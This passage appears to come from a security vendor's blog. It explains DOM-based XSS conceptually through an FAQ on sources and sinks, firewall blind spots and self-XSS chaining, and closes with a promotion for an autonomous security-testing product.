    The harder cases depend on how a page assumes its own data behaves, like a value that is safe in one handler and piped raw into a sink in another. Those gaps show up when you understand what the app expects, not when you replay a fixed payload list. This is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find and then prove with real evidence. Read more about that approach on our about page.

    Frequently asked questions

    How is DOM based XSS different from reflected or stored XSS?

    Reflected and stored XSS both pass through the server, which echoes or saves the payload, so server side filters and escaping get a chance to stop it. DOM based XSS happens entirely in client side JavaScript that reads attacker controlled input and writes it into the page, so the server may never see the malicious value at all. That is why the protection has to live in the browser.

    What are sources and sinks in DOM based XSS?

    A source is any place client JavaScript reads input an attacker can influence, like location.hash, location.search, or document.referrer. A sink is a DOM API that turns a string into markup or code, like innerHTML, document.write, or eval. The bug is the join: a source flows into a sink with no encoding in between.

    Why can a web application firewall miss DOM based XSS?

    When the source is location.hash, everything after the # stays in the browser and is never sent to the server, so a firewall inspecting request bodies and query strings sees nothing. Even with location.search, which the server does receive, escaping it for the response body does nothing for a second, separate read by JavaScript on the client. The PortSwigger Web Security Academy guide on DOM based XSS walks through these source to sink flows.

    Is self XSS always harmless?

    Mostly it is low impact, because a self XSS sink only fires on input the victim types into their own browser, so a person can only attack themselves. It stops being harmless when it is chained with another bug that delivers the payload for the victim, for example a way to seed localStorage or set a value through a separate request. It is worth verifying the full chain rather than dismissing it.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.